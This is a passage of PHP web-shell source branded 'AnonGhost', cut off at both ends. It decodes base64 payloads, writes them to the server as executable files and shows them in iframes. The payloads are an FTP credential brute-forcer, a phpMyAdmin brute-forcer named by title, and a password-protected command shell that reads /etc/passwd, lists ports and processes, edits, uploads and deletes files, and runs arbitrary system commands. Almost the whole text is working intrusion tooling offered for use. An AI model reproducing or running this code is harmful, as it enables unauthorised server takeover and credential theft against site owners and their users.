U9NVzdkbkxwTkN6bTMwdXQyRGRQZ3Y2R1RuWE1XYkcrTW9BVVVpeGY0Rks1ekhDeHdTVVlQalQ0cjNEdnF5QjNNaytjMGozRkF2ZERnaFl5dVNtQzJFZjkrTDJGTk1HcGI5M0hMOUwzelZhVnV6K1JIODM1QnA0dlgwamJmRzhGUndoVTZTTEZTSnhjSzM5aElhMFNmVjJxVWdoNGJkUzJZTGZEejhFY2pucDh6djBtN2VjNEh0cnZOK0ZmdU1YK212cGJoQS9SOXZzMDQ5ZnJyWTlwR3ZaSzB6VDRxWERJMEptTm40c2J6VnpoUU5RcyswTGhnWXRnTkRxMW9RdmRKbmZjcm5GTHB3L3M5VUxiV1VQN3UydkNhMXJlMVlVSVh0TnZrbnViYzhrWVh1QWREZnBBK1FXZTVCazd3bjNHcTJ2M1M3NWVlcy9ZaUhxU05UdTljNUJ0NG9xNnpYaHR4NkxvVWpEZDBoZXpwR28xNGJOaEI5bHZJUmJiaHdyM2taM0Z0dzg4TE1XTk5TbTV2enFzTGVmcStEVzArM2tsNVRhN2ZWdlo5blJwZzVDaHM1YjU0SVZkcFBEU29kRGMxdW10VXgwSGovWnN3YlozdU91ZUMvYm0zRWtPRituam83OXFmRWFlNDdtM1RiK01lM3FtTU9VOTFyWHdDN3pxR3hyc2JlTEpSS3hUcWdRWGJWWHpmckoydlUvTkwvMkUveFZidFBoSW1YVHRYNHArZWFuYnRTYTRxNkVuMy81cDlSNTlNUHJlT2djZGtlMm9OeFF2OUg5dkllZFY5ZXNka1NaT1RxekdMVnZCOWhibVVBM2ZtMlU4Y1dZbWZ2TTEzRWZTUXZ2U1BudHZvUjVtYmkrdEU0c0RjVWMweDZMRUtQNmszVk9jWVdpZWEzVnhkOEVXeEZrVlhLdzRLR0hBK2ZmSzViNk9HTU9jVzU0STdNZWUrQ2hxaU1LYmZSWXlhNHMwMTZoWHRBVzNoL21BaUx3dDc1Q3YzK0N0eDducERtcGU5Q0R0NWFvL0VlNzhFZDFmR1h0Q1lXc3RDVEZQekpUU1MrM1l4ajk5dFNnTmVpYThISEUxY0R6M2cvaGIrdEZZZjlSVVljUzRxMW1idVJkazNhTytDRDgvL2VkQVkzci9ydEgyYi9SM3kyUGovZ0dzbWE2SFNZMGYrcGxad1BWWWNoM2tiN3l4Vmo0SEZUQzFiWFIrNDc0QW1Nbzc5YmlJWjUzVWIvOHRvcm0vTDFDbk83OWtjNGZ5L3NuL3FPUGU1bmFQZFo4clV1Ykp0L2NxbGZtK2xkeGJHMXNLYzZQQm11OU9ETHBlcElYWGZkZW9qODVGMVJlTjUxd2hmM3NGU0E0cUhyV0dOR3pTVDZvUG5OdDUxV1RNN0p4VjQwam5VL1FiM3N6UGNVSGxINmxyU05ZSDZYOVN5aWkvSEczTTM0NGw3UjkvS3ZRblhQM0NtWTN2OHYyYlp4bnM0L3dla1VSdTVCbFk5dUUvOHVpWXlkeHRQeW8yRmMyaFE5MVNHSG5paEJWeHpvdWRjNjdoR0wzWHV3WDJ3NnZlaDYvU2orS0RBMDM0M2xMZWhYUnQyYWNSM3MzNXpMNkZ1czJlZDUvOXdtdnZLNktUWVcveUg2OHYvdXRhLzhUdDFINTMvNDZjajluTC8vdlAxMy8wLy8vclIvMXI0eHpmZUk4Y1hOUTNqU3lqRWYvLzhIdz09J1x4MjlceDI5XHgyOVx4M0IiLCIiKTsNCj8+'; $file = fopen("agmyp.php" ,"w+"); $write = fwrite ($file ,base64_decode($agmyp)); fclose($file); chmod("agmyp.php",0755); echo $bencong."<p class='font-effect-shadow-multiple' style=font-family:Ubuntu;font-size:25px;color:#58FAF4;><b>AnonGhost Brute Force PhpMyAdmin</b></p><iframe src=agmyp.php width=70% height=60% frameborder=0></iframe>"; } elseif(isset($_GET['agftp'])) { $agftp ='PD9waHAgLy8tLSBDb2RlYyBieSBBbm9uR2hvc3QgLS0vLw0KCQ0KCWVjaG8gIjxib2R5IHRleHQ9JyNGRkZGRkYnIGJnY29sb3I9JyMxNTE1MTUnPg0KPHRpdGxlPkZUUCBCcnV0ZSBGb3JjZTwvdGl0bGU+PGxpbmsgcmVsPSdTSE9SVENVVCBJQ09OJ2hyZWY9J2h0dHA6Ly93d3cuaWNvbmouY29tL2ljby9sL20vbG1hOTkyZHI0MS5pY28nPg0KDQoJPGZvcm0gbWV0aG9kPSdQT1NUJz4NCgk8Y2VudGVyPg0KCTxwIGRpcj0nbHRyJz4NCgk8aW5wdXQgdHlwZT0ndGV4dCcgbmFtZT0naXAnIHZhbHVlPScxMjcuMC4wLjEnPg0KCTxpbnB1dCB0eXBlPSdzdWJtaXQnIHZhbHVlPSdCcnV0ZUZUUCcgbmFtZT0nc3RhcnQnPjxicj4NCgk8dGV4dGFyZWEgY29scz0nMzAnIHJvd3M9JzEwJyBuYW1lPSd1c2VybmFtZSc+dXNlcnM8L3RleHRhcmVhPg0KCTx0ZXh0YXJlYSBjb2xzPSczMCcgcm93cz0nMTAnIG5hbWU9J3Bhc3N3b3JkJz5wYXNzPC90ZXh0YXJlYT48L3A+DQoJPHA+PGZvbnQgZmFjZT0nVmVyZGFuYScgc2l6ZT0nMSc+WytdIFJlc3VsdCBbK108L2ZvbnQ+PC9wPg0KICAgICAgICA8c3R5bGU+DQoJCWJvZHl7YmFja2dyb3VuZC1jb2xvcjojMTUxNTE1O2JhY2tncm91bmQtaW1hZ2U6IHVybChodHRwOi8vaTk1Mi5waG90b2J1Y2tldC5jb20vYWxidW1zL2FlMS92aXJ1c2F3b3JtL2FnL2ZvbmRiZ196cHM2NTBmNTAyNS5qcGcpO2NvbG9yOiM1OEZBRjQ7fQ0KICAgICAgICBpbnB1dCB7DQogICAgICAgIGJhY2tncm91bmQ6IGJsYWNrOw0KICAgICAgICBjb2xvcjogIzU4RkFGNDsNCiAgICAgICAgYm9yZGVyOiBkYXNoZWQgMXB0Ow0KICAgICAgICB9DQogICAgICAgIHRleHRhcmVhIHsNCiAgICAgICAgYmFja2dyb3VuZDogYmxhY2s7DQogICAgICAgIGNvbG9yOiAjNThGQUY0Ow0KICAgICAgICBib3JkZXI6IGRhc2hlZCAxcHQ7DQogICAgICAgIH0NCiAgICAgICAgPC9zdHlsZT4NCgkJPC9mb3JtPiI7DQoJQHNldF90aW1lX2xpbWl0KDApOw0KCSRpcCA9ICRfUE9TVFsnaXAnXTsNCgkkdXNlcm5hbWUgPSBleHBsb2RlKCJcbiIsJF9QT1NUWyd1c2VybmFtZSddKTsNCgkkcGFzc3dvcmQgPSBleHBsb2RlKCJcbiIsJF9QT1NUWydwYXNzd29yZCddKTsNCgkNCglpZigkX1BPU1RbJ3N0YXJ0J10pIHsNCglmdW5jdGlvbiBicnV0ZSgkY29ubmVjdCwkaXAsJHVzZXIsJHBhc3MpIA0KCXsNCgkkY29ubmVjdCA9IGZ0cF9jb25uZWN0KCRpcCkgb3IgZGllKCJFcnJvciAsIE1heWJlIHlvdSBCYW5uZWQgRnJvbSBTZXJ2ZXIgWEQgISIpOyANCglpZihmdHBfbG9naW4oJGNvbm5lY3QsICR1c2VyLCAkcGFzcykpIHsNCiAgICBlY2hvICI8cCBkaXI9J2x0cic+PGZvbnQgZmFjZT0nVGFob21hJyBzaXplPScyJz5DcmFja2VkIDogDQoJPGZvbnQgY29sb3I9JyMwMDgwMDAnPiR1c2VyPC9mb250Pjo8Zm9udCBjb2xvcj0nIzAwODAwMCc+JHBhc3M8L2ZvbnQ+QDxmb250IGNvbG9yPScjMDA4MDAwJz4kaXA8L2ZvbnQ+PC9mb250PjwvcD4iOyB9IA0KCX0NCgkNCglmb3JlYWNoKCR1c2VybmFtZSBhcyAkdXNlcikgew0KCWZvcmVhY2goJHBhc3N3b3JkIGFzICRwYXNzKSB7DQoJYnJ1dGUoJGNvbm5lY3QsJGlwLCR1c2VyLCRwYXNzKTsNCgl9IH0NCgl9DQplY2hvICI8cD48Zm9udCBmYWNlPSdWZXJkYW5hJyBzaXplPScxJz4NCistLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0rPC9mb250PjwvcD4NCjxwPjxmb250IGZhY2U9J1ZlcmRhbmEnIHNpemU9JzEnPkFub25HaG9zdCBGdHAgQ3JhY2tlciA8L2ZvbnQ+PC9wPg0KPC9mb3JtPiI7DQo/Pg=='; $file = fopen("agftp.php" ,"w+"); $write = fwrite ($file ,base64_decode($agftp)); fclose($file); chmod("agftp.php",0755); echo $bencong."<p class='font-effect-shadow-multiple' style=font-family:Ubuntu;font-size:25px;color:#58FAF4;><b>AnonGhost Brute Force FTP</b></p><iframe src=agftp.php width=70% height=60% frameborder=0></iframe>"; } elseif(isset($_GET['cm'])) { $comm = 'PD9waHANCnNlc3Npb25fc3RhcnQoKTsNCg0KZXJyb3JfcmVwb3J0aW5nKDApOw0KDQokcGFzc3dvcmQgPSAidmlydXNhIjsJCSAvL0NoYW5nZSB0aGlzIHRvIHlvdXIgcGFzc3dvcmQgOykNCg0KJHZlcnNpb24gPSAiMC43QiI7DQoNCiRmdW5jdGlvbnMgPSBhcnJheSgnQ2xlYXIgdGhlIHNjcmVlbicgPT4gJ0NsZWFyU2NyZWVuKCknLA0KJ0NsZWFyIGhpc3RvcnknID0+ICdDbGVhckhpc3RvcnkoKScsDQonZnVuY3Rpb24gSW5mbycgPT4gInJ1bmNvbW1hbmQoJ2NhbmlydW4nLCdHRVQnKSIsDQonU2VydmVyIEluZm8nID0+ICJydW5jb21tYW5kKCdzaG93aW5mbycsJ0dFVCcpIiwNCidyZWFkIC9ldGMvcGFzc3dkJyA9PiAicnVuY29tbWFuZCgnZXRjcGFzc3dkZmlsZScsJ0dFVCcpIiwNCidvcGVuIFBvcnRzJyA9PiAicnVuY29tbWFuZCgnbmV0c3RhdCAtYW4gfCBncmVwIC1pIGxpc3RlbicsJ0dFVCcpIiwNCidFbXBsb3llZCBBcHBsaWNhdGlvbnMnID0+ICJydW5jb21tYW5kKCdwcyAtYXV4JywnR0VUJykiLA0KDQopOw0KJHRoaXNmaWxlID0gYmFzZW5hbWUoX19GSUxFX18pOw0KDQokc3R5bGUgPSAnPHN0eWxlIHR5cGU9InRleHQvY3NzIj4NCi5jbWR0aGluZyB7DQogICAgYm9yZGVyLXRvcC13aWR0aDogMHB4Ow0KICAgIGZvbnQtd2VpZ2h0OiBib2xkOw0KICAgIGJvcmRlci1sZWZ0LXdpZHRoOiAwcHg7DQogICAgZm9udC1zaXplOiAxMHB4Ow0KICAgIGJvcmRlci1sZWZ0LWNvbG9yOiAjMDAwMDAwOw0KICAgIGJhY2tncm91bmQ6ICMwMDAwMDA7DQogICAgYm9yZGVyLWJvdHRvbS13aWR0aDogMHB4Ow0KICAgIGJvcmRlci1ib3R0b20tY29sb3I6ICM1OEZBRjQ7DQogICAgY29sb3I6ICM1OEZBRjQ7DQogICAgYm9yZGVyLXRvcC1jb2xvcjogIzAwODAwMDsNCiAgICBmb250LWZhbWlseTogdmVyZGFuYTsNCiAgICBib3JkZXItcmlnaHQtd2lkdGg6IDBweDsNCiAgICBib3JkZXItcmlnaHQtY29sb3I6ICMwMDAwMDA7DQp9DQppbnB1dCx0ZXh0YXJlYSB7DQogICAgYm9yZGVyLXRvcC13aWR0aDogMXB4Ow0KICAgIGZvbnQtd2VpZ2h0OiBib2xkOw0KICAgIGJvcmRlci1sZWZ0LXdpZHRoOiAxcHg7DQogICAgZm9udC1zaXplOiAxMHB4Ow0KICAgIGJvcmRlci1sZWZ0LWNvbG9yOiAjNThGQUY0Ow0KICAgIGJhY2tncm91bmQ6ICMwMDAwMDA7DQogICAgYm9yZGVyLWJvdHRvbS13aWR0aDogMXB4Ow0KICAgIGJvcmRlci1ib3R0b20tY29sb3I6ICM1OEZBRjQ7DQogICAgY29sb3I6ICM1OEZBRjQ7DQogICAgYm9yZGVyLXRvcC1jb2xvcjogIzU4RkFGNDsNCiAgICBmb250LWZhbWlseTogdmVyZGFuYTsNCiAgICBib3JkZXItcmlnaHQtd2lkdGg6IDFweDsNCiAgICBib3JkZXItcmlnaHQtY29sb3I6ICM1OEZBRjQ7DQp9DQpBOmhvdmVyIHsNCnRleHQtZGVjb3JhdGlvbjogbm9uZTsNCn0NCg0KDQp0YWJsZSx0ZCxkaXYgew0KYm9yZGVyLWNvbGxhcHNlOiBjb2xsYXBzZTsNCmJvcmRlcjogMXB4IHNvbGlkICM1OEZBRjQ7DQp9DQpib2R5IHsNCmNvbG9yOiAjNThGQUY0Ow0KZm9udC1mYW1pbHk6IHZlcmRhbmE7DQp9DQo8L3N0eWxlPic7DQokc2VzcyA9IF9fRklMRV9fLiRwYXNzd29yZDsNCmlmKGlzc2V0KCRfUE9TVFsncDRzc3cwckQnXSkpDQp7DQoJaWYoJF9QT1NUWydwNHNzdzByRCddID09ICRwYXNzd29yZCkNCgl7DQoJCSRfU0VTU0lPTlskc2Vzc10gPSAkX1BPU1RbJ3A0c3N3MHJEJ107DQoJfQ0KCWVsc2UNCgl7DQoJCWRpZSgiPGJyPjxjZW50ZXI+PGltZyBzcmM9J2h0dHA6Ly9pOTUyLnBob3RvYnVja2V0LmNvbS9hbGJ1bXMvYWUxL3ZpcnVzYXdvcm0vYWcvYWNjZXNzLWRlbmllZC1pY29uX3pwc2RiZGUwZWU5LnBuZyc+PGJyPldyb25nIHBhc3N3b3JkLi4gaGFoYWhhaGE8L2NlbnRlcj4iKTsNCgl9DQoNCn0NCmlmKCRfU0VTU0lPTlskc2Vzc10gPT0gJHBhc3N3b3JkKQ0Kew0KCWlmKGlzc2V0KCRfU0VTU0lPTlsnd29ya2RpciddKSkNCgl7DQoJCQlpZihmaWxlX2V4aXN0cygkX1NFU1NJT05bJ3dvcmtkaXInXSkgJiYgaXNfZGlyKCRfU0VTU0lPTlsnd29ya2RpciddKSkNCgkJew0KCQkJY2hkaXIoJF9TRVNTSU9OWyd3b3JrZGlyJ10pOw0KCQl9DQoJfQ0KDQoJaWYoaXNzZXQoJF9GSUxFU1sndXBsb2FkZWRmaWxlJ11bJ25hbWUnXSkpDQoJew0KCQkkdGFyZ2V0X3BhdGggPSAiLi8iOw0KCQkkdGFyZ2V0X3BhdGggPSAkdGFyZ2V0X3BhdGggLiBiYXNlbmFtZSggJF9GSUxFU1sndXBsb2FkZWRmaWxlJ11bJ25hbWUnXSk7IA0KCQlpZihtb3ZlX3VwbG9hZGVkX2ZpbGUoJF9GSUxFU1sndXBsb2FkZWRmaWxlJ11bJ3RtcF9uYW1lJ10sICR0YXJnZXRfcGF0aCkpIHsNCgkJCQ0KCQl9DQoJfQ0KDQoJaWYoaXNzZXQoJF9HRVRbJ3J1bmNtZCddKSkNCgl7DQoNCgkJJGNtZCA9ICRfR0VUWydydW5jbWQnXTsNCg0KCQlwcmludCAiPGI+Ii5nZXRfY3VycmVudF91c2VyKCkuIn4jIDwvYj4iLiBodG1sc3BlY2lhbGNoYXJzKCRjbWQpLiI8YnI+IjsNCg0KCQlpZigkY21kID09ICIiKQ0KCQl7DQoJCQlwcmludCAiRW1wdHkgQ29tbWFuZC4udHlwZSBcInNoZWxsaGVscFwiIGZvciBzb21lIGVoaC4uLmhlbHAiOw0KCQl9DQoNCgkJZWxzZWlmKCRjbWQgPT0gInVwbG9hZCIpDQoJCXsNCgkJCXByaW50ICc8YnI+VXBsb2FkaW5nIHRvOiAnLnJlYWxwYXRoKCIuIik7DQoJCQlpZihpc193cml0YWJsZShyZWFscGF0aCgiLiIpKSkNCgkJCXsNCgkJCQlwcmludCAiPGJyPjxiPkkgY2FuIHdyaXRlIHRvIHRoaXMgZGlyZWN0b3J5PC9iPiI7DQoJCQl9DQoJCQllbHNlDQoJCQl7DQoJCQkJcHJpbnQgIjxicj48Yj48Zm9udCBjb2xvcj1yZWQ+SSBjYW4ndCB3cml0ZSB0byB0aGlzIGRpcmVjdG9yeSwgcGxlYXNlIGNob29zZSBhbm90aGVyIG9uZS48L2I+PC9mb250PiI7DQoJCQl9DQoNCgkJfQ0KCQllbHNlaWYoKGVyZWcoImNoYW5nZXdvcmtkaXIgKC4qKSIsJGNtZCwkZmlsZSkpIHx8IChlcmVnKCJjZCAoLiopIiwkY21kLCRmaWxlKSkpDQoJCXsNCgkJCQlpZihmaWxlX2V4aXN0cygkZmlsZVsxXSkgJiYgaXNfZGlyKCRmaWxlWzFdKSkNCgkJCQl7DQoJCQkJCWNoZGlyKCRmaWxlWzFdKTsNCgkJCQkJJF9TRVNTSU9OWyd3b3JrZGlyJ10gPSAkZmlsZVsxXTsNCgkJCQkJcHJpbnQgIkN1cnJlbnQgZGlyZWN0b3J5IGNoYW5nZWQgdG8gIi4kZmlsZVsxXTsNCgkJCQl9DQoJCQllbHNlDQoJCQl7DQoJCQkJcHJpbnQgIkRpcmVjdG9yeSBub3QgZm91bmQiOw0KCQkJfQ0KCQl9DQoNCgkJZWxzZWlmKGVyZWcoImVkaXRmaWxlICguKikiLCRjbWQsJGZpbGUpKQ0KCQl7DQoJCQlpZihmaWxlX2V4aXN0cygkZmlsZVsxXSkgJiYgIWlzX2RpcigkZmlsZVsxXSkpDQoJCQl7DQoJCQkJcHJpbnQgIjxmb3JtIG5hbWU9XCJzYXZlZm9ybVwiPjx0ZXh0YXJlYSBjb2xzPTcwIHJvd3M9MTAgaWQ9XCJhcmVhMVwiPiI7DQoJCQkJJGNvbnRlbnRzID0gZmlsZSgkZmlsZVsxXSk7DQoJCQkJCWZvcmVhY2goJGNvbnRlbnRzIGFzICRsaW5lKQ0KCQkJCQl7DQoJCQkJCQlwcmludCBodG1sc3BlY2lhbGNoYXJzKCRsaW5lKTsNCgkJCQkJfQ0KCQkJCXByaW50ICI8L3RleHRhcmVhPjxicj48aW5wdXQgc2l6ZT04MCB0eXBlPXRleHQgbmFtZT1maWxldG9zYXZlIHZhbHVlPSIuJGZpbGVbMV0uIj48aW5wdXQgdmFsdWU9XCJTYXZlXCIgdHlwZT1idXR0b24gb25jbGljaz1cIlNhdmVGaWxlKCk7XCI+PC9mb3JtPiI7DQoJCQl9DQoJCQllbHNlDQoJCQl7DQoJCQlwcmludCAiRmlsZSBub3QgZm91bmQuIjsNCgkJCX0NCgkJfQ0KCQllbHNlaWYoZXJlZygiZGVsZXRlZmlsZSAoLiopIiwkY21kLCRmaWxlKSkNCgkJew0KCQkJaWYoaXNfZGlyKCRmaWxlWzFdKSkNCgkJCXsNCgkJCQlpZihybWRpcigkZmlsZVsxXSkpDQoJCQkJew0KCQkJCQlwcmludCAiRGlyZWN0b3J5IHN1Y2Nlc2Z1bGx5IGRlbGV0ZWQuIjsNCgkJCQl9DQoJCQkJZWxzZQ0KCQkJCXsNCgkJCQkJcHJpbnQgIkNvdWxkbid0IGRlbGV0ZSBkaXJlY3RvcnkhIjsNCgkJCQl9DQoJCQl9DQoJCQllbHNlDQoJCQl7DQoJCQkJaWYodW5saW5rKCRmaWxlWzFdKSkNCgkJCQl7DQoJCQkJCXByaW50ICJGaWxlIHN1Y2Nlc2Z1bGx5IGRlbGV0ZWQuIjsNCgkJCQl9DQoJCQkJZWxzZQ0KCQkJCXsNCgkJCQkJcHJpbnQgIkNvdWxkbid0IGRlbGV0ZSBmaWxlISI7DQoJCQkJfQ0KCQkJfQ0KCQl9DQoJCWVsc2VpZihzdHJ0b2xvd2VyKCRjbWQpID09ICJjYW5pcnVuIikNCgkJew0KCQlwcmludCAiPGJyPiI7DQoJCQlpZihmdW5jdGlvbl9leGlzdHMocGFzc3RocnUpKQ0KCQkJew0KCQkJCXByaW50ICJQYXNzdGhydTogPGI+PGZvbnQgY29sb3I9Z3JlZW4+RW5hYmxlZDwvYj48L2ZvbnQ+PGJyPiI7DQoJCQl9DQoJCQllbHNlDQoJCQl7DQoJCQkJcHJpbnQgIlBhc3N0aHJ1OiA8Yj48Zm9udCBjb2xvcj1yZWQ+RGlzYWJsZWQ8L2I+PC9mb250Pjxicj4iOw0KCQkJfQ0KDQoJCQlpZihmdW5jdGlvbl9leGlzdHMoZXhlYykpDQoJCQl7DQoJCQkJcHJpbnQgIkV4ZWM6IDxiPjxmb250IGNvbG9yPWdyZWVuPkVuYWJsZWQ8L2I+PC9mb250Pjxicj4iOw0KCQkJfQ0KCQkJZWxzZQ0KCQkJew0KCQkJCXByaW50ICJFeGVjOiA8Yj48Zm9udCBjb2xvcj1yZWQ+RGlzYWJsZWQ8L2I+PC9mb250Pjxicj4iOw0KCQkJfQ0KDQoJCQlpZihmdW5jdGlvbl9leGlzdHMoc3lzdGVtKSkNCgkJCXsNCgkJCQlwcmludCAiU3lzdGVtOiA8Yj48Zm9udCBjb2xvcj1ncmVlbj5FbmFibGVkPC9iPjwvZm9udD48YnI+IjsNCgkJCX0NCgkJCWVsc2UNCgkJCXsNCgkJCQlwcmludCAiU3lzdGVtOiA8Yj48Zm9udCBjb2xvcj1yZWQ+RGlzYWJsZWQ8L2I+PC9mb250Pjxicj4iOw0KCQkJfQ0KCQkJaWYoZnVuY3Rpb25fZXhpc3RzKHNoZWxsX2V4ZWMpKQ0KCQkJew0KCQkJCXByaW50ICJTaGVsbF9leGVjOiA8Yj48Zm9udCBjb2xvcj1ncmVlbj5FbmFibGVkPC9iPjwvZm9udD48YnI+IjsNCgkJCX0NCgkJCWVsc2UNCgkJCXsNCgkJCQlwcmludCAiU2hlbGxfZXhlYzogPGI+PGZvbnQgY29sb3I9cmVkPkRpc2FibGVkPC9iPjwvZm9udD48YnI+IjsNCgkJCX0NCgkJcHJpbnQgIjxicj48YnI+IjsNCgkJaWYoIGluaV9nZXQoJ3NhZmVfbW9kZScpICl7DQoJCQlwcmludCAiU2FmZSBNb2RlOiA8Yj48Zm9udCBjb2xvcj1yZWQ+RW5hYmxlZDwvYj48L2ZvbnQ+IjsNCgkJfQ0KCQkJZWxzZQ0KCQl7DQoJCQlwcmludCAiU2FmZSBNb2RlOiA8Yj48Zm9udCBjb2xvcj1ncmVlbj5EaXNhYmxlZDwvYj48L2ZvbnQ+IjsNCgkJfQ0KCQlwcmludCAiPGJyPjxicj48YnI+IjsNCgkJCWlmKCBpbmlfZ2V0KCdvcGVuX2Jhc2VkaXInKSApew0KCQkJCXByaW50ICJPcGVuX2Jhc2VkaXI6IDxiPjxmb250IGNvbG9yPXJlZD5FbmFibGVkPC9iPjwvZm9udD4iOw0KCQkJfQ0KCQkJZWxzZQ0KCQkJew0KCQkJCXByaW50ICJPcGVuX2Jhc2VkaXI6IDxiPjxmb250IGNvbG9yPWdyZWVuPkRpc2FibGVkPC9iPjwvZm9udD4iOw0KCQkJfQ0KCQl9DQoJCS8vQWJvdXQgdGhlIHNoZWxsDQoJCWVsc2VpZihlcmVnKCJsaXN0ZGlyICguKikiLCRjbWQsJGRpcmVjdG9yeSkpDQoJCXsNCg0KCQkJaWYoIWZpbGVfZXhpc3RzKCRkaXJlY3RvcnlbMV0pKQ0KCQkJew0KCQkJCWRpZSgiRGlyZWN0b3J5IG5vdCBmb3VuZCIpOw0KCQkJfQ0KCQkJLy9Tb21lIHZhcmlhYmxlcw0KCQkJY2hkaXIoJGRpcmVjdG9yeVsxXSk7DQoJCQkkaSA9IDA7ICRmID0gMDsNCgkJCSRkaXJzID0gIiI7DQoJCQkkZmlsZXogPSAiIjsNCgkJCQ0KCQkJCWlmKCFlcmVnKCIvJCIsJGRpcmVjdG9yeVsxXSkpIC8vRG9lcyBpdCBlbmQgd2l0aCBhIHNsYXNoPw0KCQkJCXsNCgkJCQkJJGRpcmVjdG9yeVsxXSAuPSAiLyI7IC8vSWYgbm90LCBhZGQgb25lDQoJCQkJfQ0KCQkJcHJpbnQgIkxpc3RpbmcgZGlyZWN0b3J5OiAiLiRkaXJlY3RvcnlbMV0uIjxicj4iOw0KCQkJcHJpbnQgIjx0YWJsZSBib3JkZXI9MD48dGQ+PGI+RGlyZWN0b3JpZXM8L2I+PC90ZD48dGQ+PGI+RmlsZXM8L2I+PC90ZD48dHI+IjsNCgkJCQ0KCQkJaWYgKCRoYW5kbGUgPSBvcGVuZGlyKCRkaXJlY3RvcnlbMV0pKSB7DQoJCQkgICB3aGlsZSAoZmFsc2UgIT09ICgkZmlsZSA9IHJlYWRkaXIoJGhhbmRsZSkpKSB7DQoJCQkJICAgaWYoaXNfZGlyKCRmaWxlKSkNCgkJCQkgICB7DQoJCQkJCSAgICRkaXJzWyRpXSAgPSAkZmlsZTsNCgkJCQkJICAgJGkrKzsNCgkJCQkgICB9DQoJCQkJICAgZWxzZQ0KCQkJCSAgIHsNCgkJCQkJICAgJGZpbGV6WyRmXSA9ICRmaWxlOw0KCQkJCQkgICAkZisrOw0KCQkJCSAgIH0NCgkJCQkgICANCgkJCSAgIH0NCgkJCSAgIHByaW50ICI8dGQ+IjsNCgkJCSAgIA0KCQkJICAgZm9yZWFjaCgkZGlycyBhcyAkZGlyZWN0b3J5KQ0KCQkJICAgew0KCQkJCQlwcmludCAiPGkgc3R5bGU9XCJjdXJzb3I6cG9pbnRlclwiIG9uY2xpY2s9XCJkZWxldGVmaWxlKCciLnJlYWxwYXRoKCRkaXJlY3RvcnkpLiInKTtcIj5bRF08L2k+PGkgc3R5bGU9XCJjdXJzb3I6cG9pbnRlclwiIG9uY2xpY2s9XCJydW5jb21tYW5kKCdjaGFuZ2V3b3JrZGlyICIucmVhbHBhdGgoJGRpcmVjdG9yeSkuIicsJ0dFVCcpO1wiPltXXTwvaT48YiBzdHlsZT1cImN1cnNvcjpwb2ludGVyXCIgb25jbGljaz1cInJ1bmNvbW1hbmQoJ2NsZWFyJywnR0VUJyk7IHJ1bmNvbW1hbmQgKCdsaXN0ZGlyICIucmVhbHBhdGgoJGRpcmVjdG9yeSkuIicsJ0dFVCcpOyBcIj4iLiRkaXJlY3RvcnkuIjwvYj48YnI+IjsNCgkJCSAgIH0NCgkJCSAgIA0KCQkJICAgcHJpbnQgIjwvdGQ+PHRkPiI7DQoJCQkgICANCgkJCSAgIGZvcmVhY2goJGZpbGV6IGFzICRmaWxlKQ0KCQkJICAgew0KCQkJCXByaW50ICI8aSBzdHlsZT1cImN1cnNvcjpwb2ludGVyXCIgb25jbGljaz1cImRlbGV0ZWZpbGUoJyIucmVhbHBhdGgoJGZpbGUpLiInKTtcIj5bRF08L2k+PHUgc3R5bGU9XCJjdXJzb3I6cG9pbnRlclwiIG9uY2xpY2s9XCJydW5jb21tYW5kKCdlZGl0ZmlsZSAiLnJlYWxwYXRoKCRmaWxlKS4iJywnR0VUJyk7XCI+Ii4kZmlsZS4iPC91Pjxicj4iOw0KCQkJICAgfQ0KCQkJICAgDQoJCQkgICBwcmludCAiPC90ZD48L3RhYmxlPiI7DQoJCQl9DQoJCX0NCgkJZWxzZWlmKHN0cnRvbG93ZXIoJGNtZCkgPT0gImFib3V0IikNCgkJew0KCQkJcHJpbnQgIkFqYXggQ29tbWFuZCBTaGVsbCBieSA8YSBocmVmPWh0dHA6Ly93d3cuaXJvbndhcmV6LmluZm8+SXJvbmZpc3Q8L2E+Ljxicj5WZXJzaW9uICR2ZXJzaW9uIjsNCgkJfQ0KCQkvL1Nob3cgaW5mbw0KCQllbHNlaWYoc3RydG9sb3dlcigkY21kKSA9PSAic2hvd2luZm8iKQ0KCQl7DQoJCQlpZihmdW5jdGlvbl9leGlzdHMoZGlza19mcmVlX3NwYWNlKSkNCgkJCXsNCgkJCQkkZnJlZSA9IGRpc2tfZnJlZV9zcGFjZSgiLyIpIC8gMTAwMDAwMDsNCgkJCX0NCgkJCWVsc2UNCgkJCXsNCgkJCQkkZnJlZSA9ICJOL0EiOw0KCQkJfQ0KCQkJaWYoZnVuY3Rpb25fZXhpc3RzKGRpc2tfdG90YWxfc3BhY2UpKQ0KCQkJew0KCQkJCSR0b3RhbCA9IHRyaW0oZGlza190b3RhbF9zcGFjZSgiLyIpIC8gMTAwMDAwMCk7DQoJCQl9DQoJCQllbHNlDQoJCQl7DQoJCQkJJHRvdGFsID0gIk4vQSI7DQoJCQl9DQoJCQkkcGF0aCA9IHJlYWxwYXRoICgiLiIpOw0KCQkJDQoJCQlwcmludCAiPGI+RnJlZTo8L2I+ICRmcmVlIC8gJHRvdGFsIE1CPGJyPjxiPkN1cnJlbnQgcGF0aDo8L2I+ICRwYXRoPGJyPjxiPlVuYW1lIC1hIE91dHB1dDo8L2I+PGJyPiI7DQoJCQkNCgkJCWlmKGZ1bmN0aW9uX2V4aXN0cyhwYXNzdGhydSkpDQoJCQl7DQoJCQkJcGFzc3RocnUoInVuYW1lIC1hIik7DQoJCQl9DQoJCQllbHNlDQoJCQl7DQoJCQkJcHJpbnQgIlBhc3N0aHJ1IGlzIGRpc2FibGVkIDooIjsNCgkJCX0NCgkJfQ0KCQkvL1JlYWQgL2V0Yy9wYXNzd2QNCgkJZWxzZWlmKHN0cnRvbG93ZXIoJGNtZCkgPT0gImV0Y3Bhc3N3ZGZpbGUiKQ0KCQl7DQoNCgkJCSRwdyA9IGZpbGUoJy9ldGMvcGFzc3dkLycpOw0KCQkJZm9yZWFjaCgkcHcgYXMgJGxpbmUpDQoJCQl7DQoJCQkJcHJpbnQgJGxpbmU7DQoJCQl9DQoNCg0KCQl9DQoJCS8vRXhlY3V0ZSBhbnkgb3RoZXIgY29tbWFuZA0KCQllbHNlDQoJCXsNCg0KCQkJaWYoZnVuY3Rpb25fZXhpc3RzKHBhc3N0aHJ1KSkNCgkJCXsNCgkJCQlwYXNzdGhydSgkY21kKTsNCgkJCX0NCgkJCWVsc2UNCgkJCXsNCgkJCQlpZihmdW5jdGlvbl9leGlzdHMoZXhlYykpDQoJCQkJew0KCQkJCQlleGVjKCJscyAtbG